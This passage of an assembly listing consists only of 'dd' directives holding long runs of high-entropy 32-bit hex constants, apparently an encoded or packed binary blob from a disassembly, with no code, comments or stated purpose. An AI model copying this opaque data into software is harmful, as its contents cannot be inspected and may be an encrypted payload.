341D1A24h, 74C395E0h, 5FAC1218h dd 253FF3B7h, 0D9F82378h, 0C43FE141h, 29E40331h, 0C1B31C15h dd 63E905C8h, 0F223A862h, 0C494725Eh, 0A4DC307Eh, 0B840F726h dd 0AEC6D85Bh, 741D67F2h, 0CA816EBCh, 522E1D99h, 0CF1189Ch dd 48D232E1h, 4D17DFF8h, 0FD09D001h, 32BBF789h, 261408D4h dd 856840E6h, 0A4E4B58h, 0A77CF8C0h, 89F504B4h, 0B80EE9D8h dd 9EBF01EDh, 4F2D3353h, 45A1D03Ah, 7294EC64h, 0B4BF310h dd 6AB166Ch, 5EA29B55h, 0D27FC4FCh, 0B7A97467h, 5C82848Fh dd 0AC844D6Ah, 0A631BE79h, 6800FEF1h, 0E114647Eh, 4CA65F4Ah dd 1C98606Fh, 30E973D5h, 0C0A7DA41h, 20E51D09h, 0DC2BCC7h dd 546FE768h, 0AFFB6402h, 3CFEF913h, 684B4BF5h, 1216718Ch dd 0FE88301Dh, 3AC0912h, 15498CD6h, 0D9CC734Bh, 366C4182h dd 3EE97B8Ah, 1E8ABBE4h, 8B08C50Ah, 0A36B6E4Eh, 3FB5B6B9h dd 981880B6h, 0B9F3657Ah, 0CC7BD9B6h, 4AEAC264h, 7605B3ABh dd 0A902AE32h, 0C1506696h, 2363E0BCh, 8B468A24h, 9CD74C88h dd 0CA860DDCh, 0DA08D1F6h, 5017B568h, 0F942DD82h, 85F9C7FFh dd 0E8A8C0E9h, 0E24EC410h, 0BCEE2906h, 1C1FC60Bh, 0AA5610h dd 23A4465Eh, 0B9BCDBF7h, 0AD3B33Ah, 3062407h, 0C00A0354h dd 3E0268FEh, 5C465826h, 1F08DD01h, 0C9792408h, 0AF291125h dd 0F77F77C9h, 75AA964Fh, 0B3D9BFF6h, 0DC6543A8h, 36B40BB8h dd 0B332650Fh, 8D3650D7h, 0FD305A8Bh, 6E5CCBCFh, 0D8AF4AD1h dd 79B532F7h, 0E9548444h, 3FE2B1E7h, 16A76F1h, 0FEF0EFC8h dd 0A493D7C7h, 3058D087h, 5B6566FAh, 0C8F48B32h, 0C5793F84h dd 8BA804Eh, 0D0D6F76h, 10440165h, 0C22A5F3h, 0B9CE5758h dd 5A592180h, 16B95100h, 0C10C1A63h, 20CD98E1h, 312DBB9Fh dd 9F45F1F8h, 0CBBB5Fh, 2AB1BFD2h, 577B0C76h, 16691C5Dh dd 2FA6DE21h, 100CEE00h, 0F1010AD1h, 0C1D0B197h, 0B6450073h dd 9548D6C3h, 0E9C1E65Bh, 0F36BC5AEh, 595D7979h, 68560941h dd 9FDBD0E8h, 0FB62B953h, 0EC100B5Ch, 6DF6FAB0h, 0BDD0585Eh dd 6BE1275Ch, 25000C6Fh, 0CA8738F6h, 406496Bh, 0FC16F871h dd 2F85EA9h, 0E0987F50h, 81555B06h, 30EB8193h, 19290AAAh dd 2D3C8F09h, 0DB5D8B1Fh, 0C4FA697h, 0C75BCCA3h, 696ED9B5h dd 645187D4h, 2FBB817Fh, 0FF247B4Eh, 93038BBBh, 0D385F9ECh dd 0BEFD13Ch, 1383274Eh, 0B934AD1Eh, 12FF8CBEh, 0F974FEAAh dd 0F70C43F3h, 30342C20h, 2B915572h, 763CCD3Fh, 0A492AE92h dd 8EC2DD5Dh, 6E5C3582h, 4EC970Eh, 0EDC72D79h, 0F1F2C3B9h dd 6C4D7543h, 68800941h, 0FC805D1Ah, 29AD3565h, 20254B48h dd 0C9524B4Dh, 57E8301Dh, 0E0F2B84Fh, 0BB7D5CE2h, 0D6305BADh dd 4902308Ch, 17E1854h, 99E140FDh, 5022EA55h, 0C935F740h dd 94D4BA6Bh, 0FB1B9E60h, 0E9FAC21Ch, 197D625Fh, 83C080Ch dd 38DF0659h, 0FE3A844Fh, 24BAC365h, 9DCBFA69h, 615A1DD5h dd 6B9F2CCBh, 855CDB23h, 0EEEC52BBh, 64FA7D0Eh, 63D2E9B7h dd 7C7B41EFh, 0E1214B7Ah, 0C1C456DCh, 5C030083h, 8480180Fh dd 570BE11Bh, 68135372h, 0AAB13515h, 6C200961h, 5F265C14h dd 7453D0Eh, 2CF9EC53h, 0D1A5BAAAh, 36CB4F10h, 6850EE40h dd 93728F1Dh, 0D0005C6Eh, 2507DF6Ch, 0EE451331h, 0CFC56Fh dd 7927E7E3h, 0E3018121h, 0BB42F1Dh, 25289CE9h, 0CE7B8D45h dd 0EB681307h, 0FB1235EBh, 8CDEBD8Ch, 0E3C5D19Dh, 842FC330h dd 0B0919338h, 9D796314h, 6BA26B44h, 9240B0Ah, 56749E2Fh dd 468B0C6Bh, 0CE1D1693h, 6616886Fh, 67016813h, 40E826FBh dd 0C012404Eh, 7F498AAEh, 0D6E24224h, 4698FC2h, 9529FA5Bh dd 15ADBFFh, 0B02D591Eh, 2B75631Dh, 791F7BE4h, 0CC3D504Bh dd 5AC082C9h, 0F9970187h, 0C8E96219h, 4427817Eh, 0D28C2BA9h dd 0D0632DC3h, 0AFE380B0h, 98D3F62Eh, 0DEE99B04h, 0D7689490h dd 79CAA603h, 2F4C0251h, 28E97797h, 9FBC2E75h, 0C12C9868h dd 0F70151EFh, 58EB338Eh, 30DFC97Bh, 0F0BDF36Ah, 6D9680BDh dd 391E2F4Eh, 805B96Ah, 95F2B95Eh, 78EE5073h, 6E0D2505h dd 94AFBA52h, 826A008h dd 0D79CE280h, 12B5F26Bh, 8FE0C328h, 0F0E927CCh, 0D5B8C580h dd 71025E46h, 9B558E0Dh, 0EF44DD27h, 3EFA86B0h, 280AB248h dd 0A265E3FDh, 66E36C1Bh, 89F9215Fh, 47E564F4h, 0B6CA1C5Eh dd 8423E912h, 7204A006h, 68718C4Ah, 2C2E5DEEh, 2502D39Eh dd 26E9166Ah, 64C0DE63h, 59FBB041h, 619AAEFCh, 26056813h dd 9B10B5E3h, 0B084C80h, 561888F8h, 667D5AACh, 0FF4CB57Bh dd 5AD35188h, 3A035048h, 634D82F8h, 0C0D1F759h, 50139990h dd 0BF1FFABh, 0BF0FCDE2h, 501AEF8h, 92E102Ch, 706DACE9h dd 975C625h, 5382DD39h, 0DF947ABAh, 6250F9B5h, 23295730h dd 3E673FEAh, 9782F339h, 0DE29DC86h, 80401354h, 3DC04ACAh dd 8E9207E2h, 0EE752BCh, 0FD0990BCh, 82111740h, 0F64C4A82h dd 0F75A84C2h, 0EB04F5DEh, 1109AA0h, 6028F36Eh, 0A29B75AFh dd 68C9F705h, 84DE689h, 51E99474h, 7D38C6Dh, 0F09D640Ah dd 49EF207Eh, 1C78317h, 0F03B01BBh, 9D606750h, 5EB1F60Ch dd 113445E9h, 0ECECA653h, 26BE0056h, 0BB15B621h, 4926DEDCh dd 940E75EAh, 0B0200D71h, 8045931h, 8CBA85BAh, 0F70C0426h dd 5851F828h, 2F58814Bh, 0F13B4AD9h, 0EBC83E84h, 684F4025h dd 0DBC4E17Ah, 0CCABAB30h, 241063BCh, 81133341h, 81ABF8C2h dd 0C02B23EAh, 901E2BEh, 0F7203C68h, 6DBF30DAh, 40A17518h dd 342C42B4h, 2D01527h, 0C25DE920h, 0CD93F473h, 7E03808h dd 2C89F680h, 0B1401EE6h, 5EF10631h, 47241068h, 0A853E029h dd 84A1D517h, 9FB5C438h, 20680BD3h, 59175C56h, 45203129h dd 0C0CDEEBEh, 48F59F01h, 4DDEB36Eh, 59BB1001h, 21DEEC5Fh dd 22E112CFh, 46415EE2h, 0C49B3487h, 5265711Dh, 15EB02BCh dd 0DF0522F0h, 0BF2D45A5h, 0A0E94F44h, 48C18FD2h, 82E7FB84h dd 7455D880h, 96CB16DCh, 8FC748A2h, 45773D68h, 26FEB090h dd 890AB466h, 0D2925D5Fh, 4A8C7F93h, 0A873D4D3h, 695B32F4h dd 0FE787A05h, 99FBE18h, 0BE55BDA1h, 76F737DDh, 7B656257h dd 9259A51h, 0A4655F77h, 754B6409h, 0BB659018h, 198C5F82h dd 4C1D2032h, 0AFBF6026h, 0A71FD954h, 0C58D3FEh, 43DBB6AFh dd 93179DDCh, 0DDD12166h, 0C111829Bh, 2DADE0EBh, 559BC0BFh dd 2E513168h, 7C4FC4Dh, 5E1B49C9h, 9A9462ECh, 0EA584A3Eh dd 2DE9267Ch, 905E9EC6h, 7E685E51h, 15BC55Eh, 0DA6842BAh dd 24302E21h, 481DB86Ah, 0FD5EBC92h, 0D0E9091Bh, 8117548Ah dd 4A01F9E6h, 0DFCED82Eh, 136A0E13h, 9C7E8001h, 9D2ED2A0h dd 80EDCDE6h, 0A81A508Fh, 0F4C1457Bh, 94D9007h, 1EDD41A9h dd 0B902BD70h, 0FB75F97Eh, 21E44001h, 96DBB7C8h, 26B5CA08h dd 0EC48126Ch, 91F85B74h, 5597EFE1h, 0C798184h, 0F1C08102h dd 63D17D4Dh, 5E751882h, 9A006EB9h, 0A87F0C06h, 134A2DCDh dd 0EFCA1BDEh, 61217D39h, 0D3064372h, 71AEBDE9h, 3D4EB02h dd 6A290FD1h, 0E90801AEh, 2694B084h, 407BFE5Ah, 4590546Dh dd 0C898041h, 0BBDF7AC1h, 0DF55DADEh, 0EA7FD6CAh, 4690FF24h dd 1D12F2BDh, 30E82867h, 8280A84Eh, 0F658C788h, 168F10A0h dd 98E46068h, 0B7EB60A1h, 30ABFC3h, 8CA2829Dh, 0B5B6FF17h dd 40B5D1BFh, 0B73D5FBEh, 0FD68460Ch, 408A6174h, 6E06B578h dd 0D2F6D586h, 0B983B708h, 0C2D30CDh, 4055C5Ah, 0FA0C6468h dd 0FFF17C32h, 0B450CD98h, 72B1F01Ch, 0B1CBE114h, 8C32CE88h dd 0B79E3212h, 56D235E4h, 4643CA04h, 86FAB203h, 0ECF042Dh dd 24AF92E6h, 40BFB89h, 5D16406Fh, 74A42D68h, 4125E066h dd 982AD1EDh, 88352D11h, 42C65D00h, 5764CA2Dh, 12F0F43Ch dd 0E09C667Ch, 70E701A7h, 0D022B28h, 1E680687h, 322FAA19h dd 41691B03h, 0B1C4CD58h, 0D1042081h, 52212331h, 685F1850h dd 0A8304B91h, 1285B572h, 0C54BC4FFh, 57C1FF9Fh, 0B430DF01h dd 0EE824499h, 922B673Ch, 9F085218h, 2EAB28A6h, 135B1DF5h dd 92F7E342h, 8F919504h, 4596491Dh, 5D0F0072h, 6430612Ch dd 50A28766h, 0A7CF804Fh, 5048180Bh, 67AA124Eh, 832373AFh dd 0DA27EE7Eh, 25941AEDh, 0C495558Fh, 281AC6FFh, 3732825Eh dd 9F4EC44Ah, 9B49B306h, 0C0A1E2B5h, 2622738Dh, 1D6C276Eh dd 170E0C06h, 2C026A0Ch, 0B7E937A1h, 15C757CAh, 0CB805900h dd 0E5D96825h, 4AB4BE4Ch, 0EC210215h, 5709FC30h, 0DCF6AD80h dd 8ABEE8E9h, 70945525h, 277D4A24h, 5AE3165h, 0FEAEF4A8h dd 0A154B08Ch, 17651699h, 0A186AC2Eh, 0D53AFCFEh, 8C0CEE2Bh dd 0E9E80807h, 0E1351481h, 7AFE465Fh, 9552670Dh, 1256A92Ah dd 0BBE48956h, 870C178Ah, 0C05AF2Ah, 0B9814E63h, 12054D89h dd 0A484AF31h, 0CABEBFD5h, 0A2E913AEh, 87494D80h, 5F5679CDh dd 5E9FC2EAh, 8A43B4D5h, 0FBE5DF84h, 2D6CFEA9h, 0F02525E9h dd 48904CECh, 0A0A3795Ah, 0B99A5612h, 0FE03D36Fh, 0AFFE7384h dd 1983C5C5h, 569485CBh, 0E5A901BBh, 0E29256EAh, 0E5BCB8A7h dd 2D2EC8F8h, 0F07F9941h, 0E705AD0Bh, 0D631EB15h, 4CC68800h dd 0F26CBF68h, 14E92DF3h, 4D77C362h, 10339158h, 5C2FB4FFh dd 0E142AAFEh, 0D998F743h, 0BFB9B857h, 2EBE5693h, 7EE90ACAh dd 0D6A5C5DEh, 4BFD8975h, 60539E99h, 7D171356h, 16FE4CD6h dd 0C082BCF3h, 0D9499295h, 75569789h, 80C52358h, 0E627C15Fh dd 6D7BC005h, 0E1744B62h, 86C2011h, 0E90606C1h, 5464F924h dd 0A5C69D0Fh, 7E5B0AF0h, 0F5B4DFFDh, 6575FEDFh, 0CFBC886Ah dd 8FC48004h, 0ECEC8DFFh, 61138724h, 5FA1CBE9h, 18D2DC3Eh dd 0CBDCD34Ah, 3E8A3168h, 4BD1C5Dh, 5B39A6AEh, 0FD25CDF3h dd 6DEC4DDAh, 2DB4E85Eh, 9E34FB67h, 37424CF8h, 998649DFh dd 9837BA5Ah, 534B9BE3h, 0A1DE0987h, 5569105Ch, 0AA90B8CCh dd 0A909370Bh, 9882F535h, 0B4014CB6h, 0F17A3019h, 8C73F44h dd 2BCA5F79h, 0B5517610h, 8AB02E4Ah, 5DEBC34Dh, 0A8264F87h dd 6DA7DF55h, 4904A0C2h, 82133BD3h, 0D2BDA942h, 1AD02AEh dd 0DE8045CDh, 7C3A4193h, 0DDA7E910h, 0F1885109h, 2C0E4175h dd 0B0C05424h, 64807315h, 0F98067Bh, 0CAF321E3h, 9EC5E92Ch dd 0B368AE35h, 30E24F7Ah, 6E79CB3Ah, 43645A1Fh, 0F7D1F90Ah dd 660A5D52h, 22E90B91h, 0BA011FA4h, 0CC006FD9h, 4F7828ECh dd 87FDB005h, 1BC26BE7h, 0D73F4AE5h, 0E969C45h, 0D55B334Bh dd 0E27FB49Ah, 59675E0Fh, 10023208h, 2C1241DFh, 13CDBB60h dd 927E53F8h, 0BBF30378h, 0D0F6C386h, 1CA9F9E7h, 528DB1DFh dd 13EB9054h, 0E459950Dh, 97C92EAFh, 0AFAAF6BAh, 460870DEh dd 3B6804D5h, 0B88AFA17h, 2AEDA10h, 0D60391BBh, 5F4AFF02h dd 0C81C7D87h, 46417B89h, 8B1EC4E6h, 3EB207C7h, 7A484E72h dd 94F4A0E7h, 1CEBEC25h, 708EAA3Dh, 972AE9B8h, 1D9D0A9Ch dd 53628C64h, 16EEE188h, 742D7581h, 3E8637CCh, 9FCBECE4h dd 0AF063E0h, 11E9D02h, 836850FBh, 0FF295808h, 23AA253Fh dd 0F25AC4A3h, 0FCE92564h, 9AFCBA3Ah, 19C597DAh, 0B69AD4A0h dd 0C2835A00h, 40E95701h, 3A719592h, 9EDAC431h, 1374E804h dd 2C32052Fh, 0BCD4E154h, 0D8685B00h, 882F5C54h, 69F8E65Ah dd 0CA61E982h, 29203F64h, 68590AEFh, 926618A5h, 0CF9704B1h dd 8FAD7Ah, 43E24606h, 2C4E6D25h, 103D6622h, 685100D2h dd 2BDE3239h, 0C1413E59h, 50490389h, 151F837Fh, 29692F9Dh dd 0E9637AF1h, 0F0974FB0h, 0C3F20882h, 0B907E59Ch, 61E50B1Bh dd 9C27AB01h, 0C47B40A8h dd 0D380FA40h, 76A9910Fh, 0BEEA4BDEh, 55C11E17h, 0B2006CD5h dd 0C22C80BAh, 0DC128F97h, 8DE34FEh, 0F02FF8AEh, 48B9713h dd 0D4A726F3h, 9BBF5627h, 68E298CEh, 24034E3Eh, 95DF81ACh dd 0DF253FFFh, 0D897CAE5h, 0E92FBBF3h, 413F4171h, 2F24D2Eh dd 528B5589h, 7D5A0FDEh, 5FB0AA4Dh, 0E202FB05h, 0E8D1245Ah dd 0BE9D09BAh, 8069A359h, 0E266A9DAh, 1928CA28h, 0E7D6AFEDh dd 770B75A5h, 0F6520E0Bh, 1998595Bh, 0D75A4AD5h, 1040B455h dd 674A128Eh, 0C24B52E2h, 4655EF98h, 0C1192EB8h, 0E966676Dh dd 5F279BF2h, 0A5CF513Fh, 0A9504D54h, 0E4599571h, 0B5955094h dd 177E4408h, 1001B266h, 0BD03760Fh, 70D241F7h, 0C5EEDE40h dd 8DE96D0Ah, 550DEDAh, 2F1C076Ah, 69536823h, 22016C6h dd 0E5D03BBAh, 0A9A57F92h, 0EA29C47Fh, 10E8F3ABh, 0C13BE8FDh dd 8D0B970h, 42254597h, 8AB3002Bh, 38BC2Eh, 70DBBD55h dd 81454CDDh, 480DF500h, 2DE90754h, 0EBA0B78Fh, 6A193A83h dd 0A1238B0h, 0D212D742h, 0F10D80EBh, 64FDC53Fh, 924F2A5Dh dd 0BC92C0A2h, 3FFCA5F4h, 0A83E9484h, 0DF14CB28h, 63284E15h dd 5205719Fh, 1300D9EEh, 4509E607h, 1399B951h, 90ED77Bh dd 191AAA95h, 0AC0110DDh, 0BE4A82F8h, 0AA098156h, 0B0BB6683h dd 5551136Ah, 4ABBE959h, 0D43EB22Dh, 0BAF4C42Ah, 9512B584h dd 98E97385h, 0BD0008F6h, 3DB81243h, 97C30CE9h, 709C9A20h dd 0DE801E77h, 0ACE5B7CFh, 0E1101411h, 0F028093Dh, 0B9305F5Ah dd 7196ACC9h, 98B9FFE9h, 8C223B58h, 2AFC412h, 0A44D99C1h dd 0B7F586Ch, 23345D70h, 5CB32495h, 968C75BCh, 89952997h dd 1A257DA9h, 204DAF5Fh, 0F36B2385h, 721F5F1Fh, 1FA9A092h dd 300EE612h, 4B3ABAD1h, 32547826h, 57F8F200h, 2FE970D5h dd 0CD66EAEDh, 35017809h, 402C566Bh, 8E59D9BBh, 0DF894603h dd 0F9FD215Bh, 0A9AFF78Fh, 52954178h, 0B95D5CA9h, 0E72357B5h dd 69944CDFh, 0E50A8045h, 0B7DB6FD2h, 36E90C98h, 957EB5Eh dd 0A2100FF8h, 0A6B14F79h, 9338B22Eh, 82A5A9ECh, 102F485h dd 61ABC1D1h, 894D4E06h, 0D6662705h, 985F7A3Fh, 61FBE9FAh dd 0C7803096h, 5F7CCACh, 0F4F8282Eh, 9C925044h, 4A11F75Dh dd 0EE31013Ch, 12E18DDh, 0D0F792D8h, 47774952h, 10E5E459h dd 164B09A9h, 0B6F1830Fh, 0E717039Bh, 19D70780h, 6479D9h dd 915C9368h, 1D539D2Fh, 0D1DE93C3h, 2BCC39E5h, 5646F33h dd 53F9F795h, 5C5F0654h, 0ED4B69C3h, 0C40212EFh, 2FA3AB7Fh dd 1D60EE92h, 94EE08E9h, 7BC98B20h, 5F80E0D9h, 81117164h dd 250E01F3h, 6AE92A80h, 212685FBh, 33895EF0h, 842BEAF1h dd 49E7AF04h, 0C2835334h, 0B5749021h, 0C4C381C0h, 43DA084Fh dd 820F301h, 0ACA35E5Bh, 0AAE84B16h, 4A307F61h, 0BD24B1A8h dd 0F3ED4148h, 191EA0Bh, 0C20205FBh, 4A80A0E4h, 0EE3727BEh dd 0D201C772h, 96583BB4h, 1560185h, 6097F65h, 0D00855B0h dd 8C4F320h, 0D106DD40h, 8B7F2078h, 492808C6h, 6FA52018h dd 10897631h, 0AA01703Eh, 3108BD5Ch, 7A4F1881h, 98A69E01h dd 72719C10h, 4708C458h, 8539068Ah, 837D3120h, 8C1BC108h dd 83A9818h, 18BF62B3h, 0AD038185h, 0B959662Dh, 1520218Eh dd 62A73173h, 8CF49B10h, 1895BE08h, 879634Dh, 1810A5D9h dd 0D6315747h, 1C87FA9h, 8B9D0A9h, 46185FB1h, 42088C4Bh dd 408818B7h, 56620F24h, 28D6E10h, 0A202F85Fh, 5BFD0389h dd 0BB9A0818h, 0C6CE6C18h, 18347408h, 860E431h, 0BF0144B8h dd 4208CEAh, 65AB0891h, 4FBC180Bh, 10D07FBCh, 0DE1099BDh dd 7BE61097h, 2AD92310h, 0EE318078h, 57F9181Ah, 1FAAC01h dd 75073EDAh, 908C4C23h, 12402418h, 10656EE9h, 0DE0C2208h dd 62D7084Fh, 5A7C18DCh, 18A80703h, 8F15210h, 99CC462Eh dd 6581086Bh, 44C82869h, 677E090h, 31085D65h, 44183C2Ah dd 41C5016Fh, 1655108Ch, 0B6630E08h, 105FD318h, 18A2AE08h dd 952046CFh, 4751CC4Ah, 0EB408410h, 0C1F1CAA5h, 0FD2A8AB4h dd 188E90D4h, 3E087EE5h, 3C18C4FBh, 92910602h, 0F8985410h dd 0B169C4B6h, 5CD704E1h, 8712006h, 0A0A9E790h, 5E088C88h dd 40012879h, 31409C36h, 0B069C6EAh, 7E200863h, 96382048h dd 0B08C6020h, 5130C465h, 0A89D0AE0h, 1D53B588h, 76B932CAh dd 66B0C503h, 79845951h, 59547332h, 0E84107B1h, 88CAD0Ch dd 0AE90A837h, 0A008C47Bh, 64B89304h, 12921010h, 95201824h dd 0F1090B6h, 6434106Ah, 4CB56D12h, 9A111D28h, 0CCC08180h dd 1469D608h, 63205D63h, 17082277h, 49954820h, 0F218D40Ah dd 0DF308E9h, 8A3418C4h, 0D2326E04h, 0CB06FE40h, 5035F131h dd 0C990F721h, 0DC3B248Ah, 186E338Ch, 8A16645h, 220E1B8h dd 16D2204Ah, 184F7B33h, 0E09910FBh, 0CEE61028h, 10676618h dd 60807A78h, 0E8FC269Ch, 0FAD849A4h, 1E43FF31h, 91E3C78Bh dd 10804117h, 752C473Bh, 1331EB02h, 0A7B90E89h, 5003DBDh dd 408F4401h, 0C90B0B49h, 0E8BF775h, 0DE023D48h, 0F2B9F003h dd 0C0333C0Dh, 4FB10F06h, 0AC0C2C30h, 1EC6AFE9h, 60575C5Bh dd 3247E118h, 0C3EBEC80h, 0B2DA58C3h, 0D0A9C87Fh, 0E7B90751h dd 0D302FB4Ch, 0BFDD4D6Eh, 5BB2CDDCh, 0F572B81Eh, 0AEE569ADh dd 0E90C4ECBh, 311E7B75h, 7F1F197h, 0EF56FB29h, 7FC391ADh dd 5700BEE6h, 0B719C1BFh, 9737E915h, 0ECA06D40h, 0FE60F912h dd 120260E1h, 99B0CF34h, 3931E919h, 62725BD0h, 0F22BD651h dd 0D002C89Ah, 944FA4E9h, 293B95D2h, 0BB0B4EF8h, 436F5DBFh dd 0D720B06Dh, 67E91850h, 2D487816h, 0A4F19D0Bh, 0F69BF8BDh dd 0E9570CD5h, 0F57DBB9Eh, 623D2F0Fh, 38A26E3Fh, 2E59CE61h dd 42D2F231h, 0C4F93F3Dh, 0C907E82Fh, 5A16C0E1h, 1EBD5548h dd 634C1907h, 41F4E809h, 0E3B94E90h, 5AA80168h, 1208C981h dd 8B02FB6h, 0FE53BF06h, 0C88C7CADh, 0CEE98BDCh, 0C0258CD2h dd 61A25C14h, 0D1664BB0h, 822ABAFEh, 880F2C58h, 4CE57FC2h dd 2CC280C0h, 5EA031E9h, 0DD84B71Eh, 987C755h, 0B1D3B1FEh dd 25BEC6F7h, 386D4909h, 981B91DCh, 0C8C24BD5h, 0C3D36D13h dd 8BF678FAh, 4ADC1951h, 685D8168h, 8C2A052Fh, 0AB6F9B50h dd 25986110h, 1F6A7482h, 0BC7D4BCFh, 0F988DE54h, 1680124Ah dd 0C05BB46h, 0DFA2E328h, 0A249EB96h, 0E8622B32h, 9D5455B9h dd 4CA08BBCh, 820E3EC3h, 182CE96Dh, 9DE58940h, 5AEE2860h dd 5F1C6120h, 0FE70845Fh, 0B7C9D45Ch, 0E9108156h, 0AD8E7A58h dd 0C4642CCCh, 0B425C3D8h, 283FBE7Fh, 0F7C13AE1h, 9D32C22Ah dd 0F605CCF0h, 0CB897FC8h, 693CEAFh, 62E6676Fh, 16EF699Eh dd 1B265F03h, 1A5A443Eh, 0D10C4336h, 4D550E28h, 60CFEA12h dd 8789B95Ah, 85D2CDEEh, 1A3E4064h, 4D8B250Eh, 1AF50AE3h dd 140B1C08h, 5560B0F5h, 0ACE98065h, 0BBF9174Bh, 489CFC96h dd 82823A9Dh, 0B5E969AFh, 0B4C4907Ah, 830A090Dh, 0C75EB89h dd 0A0FACBE4h, 9422DCDh, 0DA294958h, 0FB948684h, 5C2DFECEh dd 39AD7B48h, 2956B808h, 4B838A4Ch, 3C9EA4EAh, 0AF46B124h dd 47408C7Ch, 1E09CF81h, 0D3111D19h, 843A08D7h, 4ABCBB01h dd 4D2B3F31h, 2A878F0Ah, 353D08B1h, 0B753EB60h, 0F70C800Ah dd 0ACFFE97h, 0B0E91372h, 4A3E4976h, 762209h, 0BD073E03h dd 5E0C0F25h, 0E923D9DEh, 2C1C45BBh, 0C80EAF04h, 5966842Ch dd 868761AFh, 0D8A46588h dd 45B146AEh, 99025E4Ah, 0D045F539h, 0CE7FE0Ch, 6D1B2356h dd 8800612h, 615C0460h, 88F2B7E9h, 7617CC89h, 7AF9739Dh dd 7CD9F302h, 8634508h, 347265B0h, 0E749FCF9h, 715AB82Fh dd 664A044Fh, 43AAC11Ah, 0DEE707CAh, 174616E9h, 0F2CDFAE9h dd 0D64A737Fh, 81A834FBh, 3C93F03h, 2D0EB155h, 0BD8EAA6h dd 7F2BFC4Fh, 8922500h, 2926931Eh, 0E9C1D2FEh, 95222350h dd 923D8D24h, 53E0766h, 0D5F75338h, 140F45C3h, 0F3EA3EEDh dd 9A0531C1h, 0DB1A4632h, 0CF4C463Ah, 6F6D6380h, 0B968F582h dd 96B19D26h, 0F3AE4E07h, 7C702E49h, 0E9C79520h, 1402885h dd 0F25141B4h, 0D2A74B3Bh, 5900FB5Ch, 0D8D8F75Eh, 0D329CF12h dd 0C49CC1A3h, 473D5FBh, 0ADC575h, 5305EDC0h, 50CA2C68h dd 75B560CAh, 302755B3h, 0C00B98EBh, 207590E3h, 0B800C127h dd 161248BEh, 72E7A0Dh, 0FC2D441Bh, 56556Eh, 3D6593FAh dd 52EC0112h, 0BF3C683Bh, 33AE4A20h, 0AA9C12E4h, 0D13EF98Ah dd 0A3B9B9C0h, 1F3ADD8Ch, 0AB16BDEh, 26A62DC5h, 0FE757A89h dd 3A8AC233h, 0BF82CED7h, 0E4697659h, 66AB592Dh, 0FCF05B72h dd 0B2E9B0E6h, 3D0AD4E7h, 0ADD16D24h, 0E984AE15h, 0D588DF2Ah dd 81BEBE1Eh, 76523BE1h, 0EA036065h, 0BEABEF05h, 89C3CE01h dd 318F481Dh, 31BB07Ah, 0BA52F929h, 6FA21253h, 1E55E5C0h dd 5B19353Fh, 81F6F84h, 422A7B4Ch, 0E653168h, 0A613C6C3h dd 630A1F14h, 7158C526h, 359EC3FAh, 40E20662h, 1798E078h dd 70730C09h, 70685F75h, 0F331685Fh, 0B873D5Ch, 0BF69024h dd 473A383Eh, 0EEB130F5h, 0EF151818h, 1F620C68h, 74DA4B2Fh dd 2EE941C6h, 40933529h, 64180F2Ah, 801762Dh, 0E906081Fh dd 5BF3B39h, 0A227D5EEh, 0AA31803Dh, 2B160158h, 0A62CCE29h dd 416F24E9h, 304D8668h, 0AAECCE8Bh, 2F685980h, 0C59813EBh dd 7995E3D8h, 0E8943068h, 0A1780D0h, 2BBCF831h, 2234309h dd 62E49702h, 1FE645FFh, 6812A044h, 4B30486Ah, 2736BEBDh dd 624654CFh, 121C148h, 0E956DDF7h, 16BCFBC3h, 0A084104Ch dd 3F21FBF9h, 0B36B5456h, 0EA8A8582h, 838727ABh, 0CB282A34h dd 7B7B9BEEh, 0C28F130h, 9D4B775Fh, 9B7967A9h, 6AB06D64h dd 36E01735h, 91DAFC08h, 9EC4FDEh, 0B66F6AA8h, 49C6CE42h dd 4BA302F0h, 515A01A0h, 0F41A7854h, 1D8E087h, 4B1BAA68h dd 0FAC87E49h, 0A05725B7h, 0E97D215Fh, 57BB7D82h, 401FE116h dd 0BA58C3FDh, 6D37073Fh, 7A8D21Bh, 3059B604h, 2CF82875h dd 0C4017AE9h, 0FC3CE960h, 375C6800h, 0B161E95h, 544D685Dh dd 34AE0AF1h, 0F9519360h, 0DD012872h, 490883F5h, 5751F6AAh dd 60FDD720h, 5DE8AF22h, 77093435h, 0F631F523h, 0AF01C5F1h dd 0D77B692Dh, 0A4FEF40Ah, 6B00031Dh, 6F0D43C8h, 0B044525Eh dd 3C0A03EEh, 50554BA1h, 0A351762Ch, 0D0215D87h, 5494EE94h dd 0A6F253EBh, 0C53D181Dh, 1745C9DDh, 0A1406C4Ah, 12F307AFh dd 0ECC221FDh, 0B3DF404Ah, 68C709AEh, 0B4FF7FD7h, 6862A9D0h dd 476125ADh, 0FA8D5325h, 679E0CB9h, 2D854818h, 52F5D423h dd 0ED278355h, 0E918B00Dh, 11725A7h, 0D9EC9ED6h, 3DDE4EF5h dd 0FE643BDCh, 0D99CC8BAh, 0ABCCF74Bh, 4CF805C2h, 0E94A5E1Ch dd 1D0A0426h, 77015F8Ah, 6B57C838h, 75D3EFC1h, 415C6458h dd 0E1A13B2Fh, 0E3FB06Ah, 0E0126070h, 2DEBC201h, 0EA8E6ACEh dd 86CCC84Bh, 0B9F053A4h, 4E79934Dh, 1D975BBh, 2A01C10h dd 5BDAE88Ch, 51D0892Dh, 32D90B40h, 0CB23177h, 0E918904Ah dd 892D734Dh, 74EC6A01h, 0B6094005h, 28151F7Fh, 1144F907h dd 518E3AE4h, 0E820D249h, 4F091E06h, 9835C979h, 0F0154E49h dd 29133D33h, 54B05BD8h, 0FB5602C3h, 0A0F7817Fh, 7E61EC61h dd 0EE702DC6h, 6A8A493Eh, 0BC49D11Ch, 0FAD034FAh, 36D0EF14h dd 60613286h, 7A1A5038h, 0E9121C11h, 0EE60E5F6h, 98081EB3h dd 36121260h, 0E4B2A801h, 5BF602EBh, 0ACC1E830h, 9E483C23h dd 36850C0h, 4C55967Bh, 58738A58h, 0DE059D4Eh, 0C44F4746h dd 0CD8BC844h, 0AE417C4Eh, 671A6861h, 54A282EFh, 11205121h dd 0EF51B3E9h, 7215C01h, 5ADA27Fh, 2316107Fh, 4B8DDAFh dd 0DB08010Ch, 6272D87Bh, 8EE41622h, 0ECE59EECh, 0AC2DB0D5h dd 78572673h, 20BD0933h, 252EE2AFh, 9657271Ch, 775EAAF7h dd 1FCCC451h, 791B20E9h, 5ED52931h, 108F8590h, 0CFE54A42h dd 1F4EABB5h, 0F86F7E03h, 9A7802EFh, 0CD215AC7h, 0F5B062BBh dd 39258028h, 1649709Fh, 0EF1C4709h, 0FB3C3B69h, 0EE1416C5h dd 342726CFh, 0C5AF8945h, 313B811Bh, 